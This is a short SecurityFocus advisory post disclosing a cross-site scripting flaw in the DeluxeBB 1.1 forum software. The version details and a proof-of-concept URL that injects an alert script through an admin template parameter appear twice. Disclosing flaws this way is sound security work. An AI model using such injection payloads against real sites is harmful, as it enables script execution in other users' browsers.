Back to list
|
Post reply
DeluxeBB 1.1 XSS Vulnerabilitie
Jan 22 2008 05:07PM
nbbn gmx net
########################################################
#Founded: 21, January 2008
#Autor: NBBN
#Type: XSS
#DeluxeBB Version: 1.1
#Register Globals: ON
#Magic Quotes; OFF
########################################################
poc:
http://www.site.tld/path/templates/default/admincp/attachments_header.ph
p?lang_listofmatches=<script>alert("XSS")</script>
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
#Founded: 21, January 2008
#Autor: NBBN
#Type: XSS
#DeluxeBB Version: 1.1
#Register Globals: ON
#Magic Quotes; OFF
########################################################
poc:
http://www.site.tld/path/templates/default/admincp/attachments_header.ph
p?lang_listofmatches=<script>alert("XSS")</script>
[ reply ]